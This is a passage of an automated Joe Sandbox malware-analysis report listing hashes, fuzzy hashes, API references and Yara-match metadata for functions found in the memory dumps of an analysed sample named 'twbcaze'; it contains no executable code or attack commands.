Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0083FBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FBC3

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0083FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FB73

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0083FC90 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FC9B

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0083FC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FC6B

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0083FD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FD9A

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0083FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FDCB

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0083FEA0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FEAB

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 0083FED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FEDB

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0083FFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0083FFBF

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 00409AA0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
Instruction ID: 4f20240aff7f2371bb6e5cfcebb6b85206ba00274494e6c7b70a30fa46eb6871
Opcode Fuzzy Hash: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
Instruction Fuzzy Hash: 48213CB2D4420957CB25D664AD52BFF737CAB54314F04007FE949A3182F638BF498BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(&EA,?,00414C9F,00414C9F,?,00414526,?,?,?,?,?,00000000,00409CE3,?), ref: 0041A61D

Strings

&EA, xrefs: 0041A612, 0041A61C

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &EA
API String ID: 1279760036-1330915590
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 65e1271fa0e6f293e5ca7d904ec396d69fb6d51de338ced040ab1bfa87458b74
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 1DE012B2200208ABDB14EF99DC41EA777ADAF88668F118559BA085B242C630F9118AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00408308 Relevance: 1.6, APIs: 1, Instructions: 57
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: ea6ba9d803efb22ca4ac9589cb0a64232fc12c7ef3beeaf7f2458a896769aa6f
Instruction ID: 1686aeac70786c8eb8174c578c9f7d289126589df7242d7fccb09c1ecdb24f1f
Opcode Fuzzy Hash: ea6ba9d803efb22ca4ac9589cb0a64232fc12c7ef3beeaf7f2458a896769aa6f
Instruction Fuzzy Hash: CB01B571A8031877E720A6919C43FFE776CAB40B54F054119FF44BA2C1E6E86A0546EA

Uniqueness

Uniqueness Score: -1.00%

Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2b8d0fafe82a707928844ec316f7e0105081546aa8e26e9dc354d60cbf214f5e
Instruction ID: a0f03ca10d03d1d5c38d3c187be8154ddc7636efa3ebbcfd239e67dddfad06e3
Opcode Fuzzy Hash: 2b8d0fafe82a707928844ec316f7e0105081546aa8e26e9dc354d60cbf214f5e
Instruction Fuzzy Hash: B4018471A8032877E720A6959C43FFE776C6B40B54F05012AFF04BA1C1E6A8690546EA

Uniqueness

Uniqueness Score: -1.00%

Function 004082D6 Relevance: 1.5, APIs: 1, Instructions: 41
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: a36db288dd01462fe6699b972798525089e77336f9fa5e20efdaf2f7a1141a6c
Instruction ID: d54e8038d77a2ff7d11882d61ae61de58467cc53902c56b6dd9a3359c70c2a15
Opcode Fuzzy Hash: a36db288dd01462fe6699b972798525089e77336f9fa5e20efdaf2f7a1141a6c
Instruction Fuzzy Hash: AAF0973164020870DA2176713C43FFE3708DB81B08F0400BFFE88A52C2DEBA441686FA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A630 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,00409CE3,?,?,00409CE3,00000060,00000000,00000000,?,?,00409CE3,?,00000000), ref: 0041A65D

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: a31e03847b69acb9206512889bce5d114748d47cfafea9ced6338f279cce3475
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 64E04FB12002046BD714DF59DC45EE777ADEF88754F014559FD0857241C630F910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A790 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7C0

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: b8658252b81b08ed33e4a874e4d8f80b0614426e32f2ee3a7d9107b08e04f012
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 9EE01AB12002086BDB10DF49DC85EE737ADAF88654F018155BA0857241C934E8118BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A670 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 0041A698

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 94fb8da58e6992106aa2b0ab061ea4c6965e877b66759b154152d16d38dd5c99
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: B9D017726002187BD620EB99DC85FD777ACDF487A4F0180AABA1C6B242C531FA108AE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00417C85 Relevance: 4.1, Strings: 3, Instructions: 367COMMON

Download Yara Rule

Strings

www., xrefs: 00417E6E, 00417F2F, 00417FE4, 00418017, 00418074, 0041809F, 004180FC
www., xrefs: 00417F06, 00417F09
=, xrefs: 00417E3E

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID: =$www.$www.
API String ID: 0-3343787489
Opcode ID: 43630f2af3dd7c2ce2a8271cba94f5506f58cdf469a03639078d30cc3f113a0f
Instruction ID: a415aada695ca48bd596ef0aed218874816f8cdfd7c5552bcf20e41dd4a36fc7
Opcode Fuzzy Hash: 43630f2af3dd7c2ce2a8271cba94f5506f58cdf469a03639078d30cc3f113a0f
Instruction Fuzzy Hash: ADD11AB2994304ABD714DBB0CC82FEBB778EF44708F40455EF6495B182DA78A684CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00417CE2 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ce10ed004e912327c4817aec277738ae227ae0974f461223c4264c1b0c3650
Instruction ID: dda4dc6a57abaa663ba500a739b63e9e871c96e823b7519d08a7515e6c8355b5
Opcode Fuzzy Hash: 66ce10ed004e912327c4817aec277738ae227ae0974f461223c4264c1b0c3650
Instruction Fuzzy Hash: D711AB76DADA4906E7264A647C42AE6FBB0EA1370072895AFDD85DF343D605C04383CA

Uniqueness

Uniqueness Score: -1.00%

Function 00416C9B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 430b32d48c3472a26d8b0c5a84cf6b08d3b8f59d031359f544a6728a7160a7ca
Instruction ID: afb282b730c00e81312c89a8fedaef751899b96b71684bab589d9aa07c593246
Opcode Fuzzy Hash: 430b32d48c3472a26d8b0c5a84cf6b08d3b8f59d031359f544a6728a7160a7ca
Instruction Fuzzy Hash: CE019C329082935ED717CE68D8456D9FB74DD86118B5883DADD808F2A3D325C10B87D4

Uniqueness

Uniqueness Score: -1.00%

Function 00840060 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction ID: 5a023e870da9c1ddb48dfa425d4b1b106951aaa9a6b60f468992a3f00291b547
Opcode Fuzzy Hash: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction Fuzzy Hash: 5CB012B2100580C7E30D9714DD06B4B7210FB80F00F00893AA10B81861DB7C9A2CD45E

Uniqueness

Uniqueness Score: -1.00%

Function 008401D4 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction ID: 018f436d7687ff9142db90ebed9d2f0c0dfd000868ccafab48d689f3c6447ef1
Opcode Fuzzy Hash: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction Fuzzy Hash: B2B01272100940C7E359A714ED46B4B7210FB80F01F00C93BA01B81851DB38AA3CDD96

Uniqueness

Uniqueness Score: -1.00%

